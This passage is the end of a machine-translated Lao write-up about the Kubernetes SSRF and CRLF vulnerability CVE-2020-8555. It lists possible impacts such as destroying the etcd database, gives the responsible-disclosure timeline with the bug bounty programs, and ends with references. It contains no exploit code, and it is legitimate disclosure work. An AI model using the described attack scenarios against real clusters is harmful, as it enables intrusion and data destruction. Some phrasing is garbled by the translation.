ສະຖານະການຂຸດຄົ້ນທັງໝົດທີ່ກ່ຽວຂ້ອງກັບການໂຈມຕີ vectors on ຄວາມຊື່ສັດ, ສາມາດຖືກນໍາໃຊ້ສໍາລັບການກະທໍາທີ່ທໍາລາຍແລະນໍາໄປສູ່ຕົວຢ່າງຕົ້ນສະບັບຈາກ perimeter ລູກຄ້າ (ຫຼືອື່ນໆ) ແມ່ນບໍ່ສາມາດໃຊ້ໄດ້.

ເນື່ອງຈາກພວກເຮົາຢູ່ໃນສະພາບແວດລ້ອມ K8s ທີ່ຖືກຄຸ້ມຄອງແລະການປະເມີນຜົນກະທົບຕໍ່ຄວາມຊື່ສັດ, ພວກເຮົາສາມາດຈິນຕະນາການສະຖານະການຈໍານວນຫຼາຍທີ່ສາມາດສົ່ງຜົນກະທົບຕໍ່ການມີຢູ່. ຕົວຢ່າງເພີ່ມເຕີມລວມເຖິງການທໍາລາຍຖານຂໍ້ມູນ etcd ຫຼືການໂທຫາທີ່ສໍາຄັນກັບ Kubernetes API.

ກຳ ນົດເວລາ

• ວັນທີ 6 ທັນວາ 2019: ລາຍງານຈຸດອ່ອນຕໍ່ກັບ MSRC Bug Bounty.
• ວັນທີ 3 ມັງກອນ 2020: ພາກສ່ວນທີສາມແຈ້ງໃຫ້ຜູ້ພັດທະນາ Kubernetes ຮູ້ວ່າພວກເຮົາກຳລັງແກ້ໄຂບັນຫາຄວາມປອດໄພຢູ່. ແລະຂໍໃຫ້ພວກເຂົາພິຈາລະນາ SSRF ເປັນຈຸດອ່ອນພາຍໃນ (ໃນຫຼັກ). ຫຼັງຈາກນັ້ນພວກເຮົາໄດ້ສະຫນອງບົດລາຍງານທົ່ວໄປທີ່ມີລາຍລະອຽດດ້ານວິຊາການກ່ຽວກັບແຫຼ່ງຂອງບັນຫາ.
• ວັນທີ 15 ມັງກອນ 2020: ພວກເຮົາໄດ້ສະໜອງບົດລາຍງານທາງວິຊາການ ແລະທົ່ວໄປໃຫ້ກັບຜູ້ພັດທະນາ Kubernetes ຕາມການຮ້ອງຂໍຂອງເຂົາເຈົ້າ (ຜ່ານເວທີ HackerOne).
• ວັນທີ 15 ມັງກອນ 2020: ຜູ້ພັດທະນາ Kubernetes ແຈ້ງໃຫ້ພວກເຮົາຮູ້ວ່າການສີດ SSRF + CRLF ເຄິ່ງຕາບອດສຳລັບການອອກລຸ້ນທີ່ຜ່ານມາຖືວ່າເປັນຈຸດອ່ອນໃນຫຼັກ. ພວກເຮົາຢຸດເຊົາການວິເຄາະຂອບເຂດຂອງຜູ້ໃຫ້ບໍລິການອື່ນໆໃນທັນທີ: ທີມງານ K8s ກໍາລັງຈັດການກັບສາເຫດຂອງຮາກ.
• ວັນທີ 15 ມັງກອນ 2020: ລາງວັນ MSRC ໄດ້ຮັບຜ່ານ HackerOne.
• ວັນທີ 16 ມັງກອນ 2020: Kubernetes PSC (ຄະນະກໍາມະການຄວາມປອດໄພຂອງຜະລິດຕະພັນ) ໄດ້ຮັບຮູ້ຊ່ອງໂຫວ່ດັ່ງກ່າວ ແລະຂໍໃຫ້ຮັກສາມັນໄວ້ເປັນຄວາມລັບຈົນຮອດກາງເດືອນມີນາ ເນື່ອງຈາກຜູ້ເຄາະຮ້າຍທີ່ອາດຈະເກີດຂຶ້ນເປັນຈໍານວນຫຼວງຫຼາຍ.
• ວັນທີ 11 ກຸມພາ 2020: ໄດ້ຮັບລາງວັນ Google VRP.
• ວັນທີ 4 ມີນາ 2020: ລາງວັນ Kubernetes ໄດ້ຮັບຜ່ານ HackerOne.
• ວັນທີ 15 ມີນາ 2020: ເບື້ອງຕົ້ນໄດ້ເລື່ອນການເປີດເຜີຍຕໍ່ສາທາລະນະ ເນື່ອງຈາກສະຖານະການ COVID-19.
• ວັນທີ 1 ມິຖຸນາ 2020: Kubernetes + Microsoft ຖະແຫຼງການຮ່ວມກ່ຽວກັບຊ່ອງໂຫວ່.

TL; DR

• ພວກເຮົາດື່ມເບຍແລະກິນ pizza :)
• ພວກເຮົາໄດ້ຄົ້ນພົບຊ່ອງໂຫວ່ຫຼັກໃນ Kubernetes, ເຖິງແມ່ນວ່າພວກເຮົາບໍ່ໄດ້ຕັ້ງໃຈທີ່ຈະເຮັດແນວນັ້ນ.
• ພວກເຮົາໄດ້ເຮັດການວິເຄາະເພີ່ມເຕີມກ່ຽວກັບກຸ່ມຜູ້ໃຫ້ບໍລິການຟັງທີ່ແຕກຕ່າງກັນ ແລະສາມາດເພີ່ມຄວາມເສຍຫາຍທີ່ເກີດຈາກຄວາມອ່ອນແອທີ່ຈະໄດ້ຮັບໂບນັດທີ່ໜ້າຫວາດສຽວເພີ່ມເຕີມ.
• ເຈົ້າຈະພົບເຫັນຫຼາຍລາຍລະອຽດດ້ານວິຊາການໃນບົດຄວາມນີ້. ພວກເຮົາຍິນດີທີ່ຈະສົນທະນາກັບເຈົ້າ (Twitter: @ReeverZax & @__hach_).
• ມັນ​ໄດ້​ຫັນ​ອອກ​ວ່າ​ປະ​ເພດ​ຂອງ​ການ​ເປັນ​ທາງ​ການ​ທັງ​ຫມົດ​ແລະ​ການ​ລາຍ​ງານ​ໄດ້​ໃຊ້​ເວ​ລາ​ຫຼາຍ​ກ​່​ວາ​ຄາດ​ຫວັງ​.

ເອກະສານ

• ກຸ່ມ Google kubernetes-security-announce;
• CVE-2020-8555;
• ບັນ​ຫາ golang #30794;
• heketi/client/api/go-client/volume.go.

PS ຈາກນັກແປ

ອ່ານຍັງຢູ່ໃນ blog ຂອງພວກເຮົາ:

• «ການລ່າສັດ Kubernetes ເປີດຢ່າງເປັນທາງການແລ້ວ"
• «ອອກຈາກຝອດໃນ Kubernetes ໂດຍການຕິດຕັ້ງບັນທຶກ"
• «33+ ເຄື່ອງມືຄວາມປອດໄພ Kubernetes".

ແຫຼ່ງຂໍ້ມູນ: www.habr.com